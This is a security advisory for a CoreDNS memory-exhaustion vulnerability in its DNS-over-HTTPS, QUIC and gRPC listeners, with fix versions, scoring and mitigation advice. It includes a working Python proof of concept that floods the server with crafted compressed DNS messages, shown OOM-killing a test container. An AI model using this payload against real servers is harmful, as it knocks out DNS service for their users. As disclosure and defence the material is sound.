GHSA-mrg3-qvqr-jw29 CVE-2026-82399 GO-2026-6507
CoreDNS: Unauthenticated memory exhaustion in custom transports
- Severity
- 7.5 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 0.61%
- Chance of exploitation in the next 30 days. Higher than 49.19% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-770 Allocation of Resources Without Limits or Throttling
- Fix
1.14.7- Upgrade github.com/coredns/coredns to this version or later
Description
Summary
CoreDNS parses attacker-controlled DNS section counts before validating them on DNS-over-HTTPS (DoH and DoH3), DNS-over-QUIC (DoQ), and DNS-over-gRPC listeners. An unauthenticated client can use DNS name compression to make one 65,533-byte request allocate more than 10 MiB while it is unpacked. Concurrent requests can exhaust memory and terminate CoreDNS.
Details
The affected request paths call dns.Msg.Unpack directly:
- DoH POST and GET decoding. DoH3 uses the same decoder.
- DoQ stream handling.
- DNS-over-gRPC query handling.
This differs from the miekg/dns UDP and TCP server. Its serveDNS path decodes the fixed 12-byte header and invokes DefaultMsgAcceptFunc before unpacking the DNS sections. The default policy rejects requests unless QDCOUNT is exactly one and also limits the other section counts. CoreDNS's custom transports bypass this early validation.
Parsing happens before the plugin chain. Plugin-level rate limiting or request handling cannot prevent the allocation. The fix is to apply dns.DefaultMsgAcceptFunc to the fixed header before calling Msg.Unpack in each custom request transport. Response decoding must remain separate because the request policy intentionally rejects response headers.
PoC
The PoC runs against the DoH server.
Run the following from a clean checkout of CoreDNS v1.14.6. Docker must support container memory limits. The example uses the test certificate already present in the repository and publishes the test service only on loopback.
Save this as Corefile.cd01:
https://.:8053 {
tls /cert.pem /key.pem
whoami
}
Save this standard-library client as poc-cd01.py:
#!/usr/bin/env python3
import argparse
import concurrent.futures
from collections import Counter
import http.client
import ssl
import struct
def normal_query():
header = struct.pack("!HHHHHH", 0x1234, 0x0100, 1, 0, 0, 0)
question = b"\x07example\x03org\x00" + struct.pack("!HH", 1, 1)
return header + question, 1
def attack_query():
message = bytearray(65535)
offset = 12
name_offset = offset
for size in (63, 63, 63, 61):
message[offset] = size
offset += 1
message[offset : offset + size] = b"\x01" * size
offset += size
message[offset] = 0
offset += 1
struct.pack_into("!HH", message, offset, 1, 1)
offset += 4
questions = 1
while offset + 6 <= len(message):
struct.pack_into("!HHH", message, offset, 0xC000 | name_offset, 1, 1)
offset += 6
questions += 1
struct.pack_into(
"!HHHHHH", message, 0, 0x1234, 0x0100, questions, 0, 0, 0
)
return bytes(message[:offset]), questions
def send(payload):
context = ssl._create_unverified_context()
connection = http.client.HTTPSConnection(
"127.0.0.1", 18053, timeout=3, context=context
)
try:
connection.request(
"POST",
"/dns-query",
body=payload,
headers={"Content-Type": "application/dns-message"},
)
response = connection.getresponse()
response.read()
return f"http-{response.status}"
except Exception:
return "error"
finally:
connection.close()
def main():
parser = argparse.ArgumentParser()
parser.add_argument("--normal", action="store_true")
parser.add_argument("--workers", type=int, default=1)
args = parser.parse_args()
payload, questions = normal_query() if args.normal else attack_query()
print(
f"payload={len(payload)} questions={questions} workers={args.workers}"
)
with concurrent.futures.ThreadPoolExecutor(args.workers) as pool:
results = pool.map(send, [payload] * args.workers)
print(Counter(results))
if __name__ == "__main__":
main()
Build the Linux binary and container image:
GOCACHE=/tmp/coredns-gocache \
GOOS=linux GOARCH="$(go env GOARCH)" CGO_ENABLED=0 \
go build -tags=grpcnotrace -o coredns .
docker build --tag coredns-cd01:vulnerable .
Start CoreDNS with a 64 MiB memory and swap limit:
docker run --detach --name coredns-cd01 \
--memory 64m --memory-swap 64m \
--publish 127.0.0.1:18053:8053/tcp \
--volume "$PWD/Corefile.cd01:/Corefile:ro" \
--volume "$PWD/plugin/tls/test_cert.pem:/cert.pem:ro" \
--volume "$PWD/plugin/tls/test_key.pem:/key.pem:ro" \
coredns-cd01:vulnerable -conf /Corefile
Confirm that the listener works and that one malicious request is accepted:
$ python3 poc-cd01.py --normal
payload=29 questions=1 workers=1
Counter({'http-200': 1})
$ python3 poc-cd01.py
payload=65533 questions=10878 workers=1
Counter({'http-200': 1})
Send 32 malicious requests concurrently and inspect the container:
$ python3 poc-cd01.py --workers 32
payload=65533 questions=10878 workers=32
Counter({'error': 32})
$ docker inspect --format '{{.State.Status}} OOMKilled={{.State.OOMKilled}} ExitCode={{.State.ExitCode}}' coredns-cd01
exited OOMKilled=true ExitCode=137
OOMKilled=true confirms that the container was terminated by memory exhaustion rather than a CoreDNS configuration error.
Impact
This is an unauthenticated denial-of-service vulnerability. Deployments are affected when DoH, DoH3, DoQ, or DNS-over-gRPC is exposed to an attacker. The ordinary miekg/dns UDP and TCP listeners are not affected because they perform the header acceptance check before unpacking.
In the validated configuration, 32 requests OOM-killed a CoreDNS container limited to 64 MiB. Higher memory limits increase the number of concurrent requests required but do not remove the allocation amplification. Successful exploitation interrupts DNS service.
CoreDNS versions v007 through v1.14.6 are affected when DNS-over-gRPC is exposed. DoH is affected from v1.1.3, DoQ from v1.11.0, and DoH3 from v1.13.2.
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| github.com/coredns/coredns | < 1.14.7 |
1.14.7 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
github.com/coredns/coredns Go → 1.14.7
- go
go get github.com/coredns/coredns@v1.14.7 && go mod tidy
Severity breakdown
CVSS 3.1 7.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Weakness
CWE-770: Allocation of Resources Without Limits or Throttling
The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.
How to prevent it
- Requirements: Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.
- Architecture and Design: Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.
- Architecture and Design: Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Architecture and Design: Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
- Architecture and Design: Ensure that protocols have specific limits of scale placed on them.
- Architecture and Design, Implementation: If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery. Ensure that all failures in resource allocation place the system into a safe posture.
- Operation, Architecture and Design: Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems. When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users. Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-9gm5-9rfh-m6vx CoreDNS DoH/DoQ/gRPC bypass UPDATE rejection enforced on UDP/TCP | High | Also affects github.com/coredns/coredns |
| GHSA-74w3-63xv-x9mv CoreDNS `k8s_external` headless AXFR can emit an empty transfer batch that panics the `transfer` plugin | Low | Also affects github.com/coredns/coredns |
| GHSA-vp29-5652-4fw9 CoreDNS has TSIG authentication bypass on gRPC and QUIC transports | Critical | Also affects github.com/coredns/coredns |
| GHSA-qhmp-q7xh-99rh CoreDNS has TSIG authentication bypass on DoT, DoH, DoH3, DoQ, and gRPC | High | Also affects github.com/coredns/coredns |
| GHSA-h8mm-c463-wjq3 CoreDNS' transfer stanza selection uses lexicographic compare (subzone ACL bypass) | High | Also affects github.com/coredns/coredns |
| GHSA-63cw-r7xf-jmwr CoreDNS DoH GET oversized dns= query parameter causes pre-validation CPU and memory amplification | High | Also affects github.com/coredns/coredns |
| GHSA-2wpx-qpw2-g5h5 CoreDNS' DoQ worker pool does not bound stream backlog | High | Also affects github.com/coredns/coredns |
| GHSA-h75p-j8xm-m278 CoreDNS Loop Detection Denial of Service Vulnerability | High | Also affects github.com/coredns/coredns |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor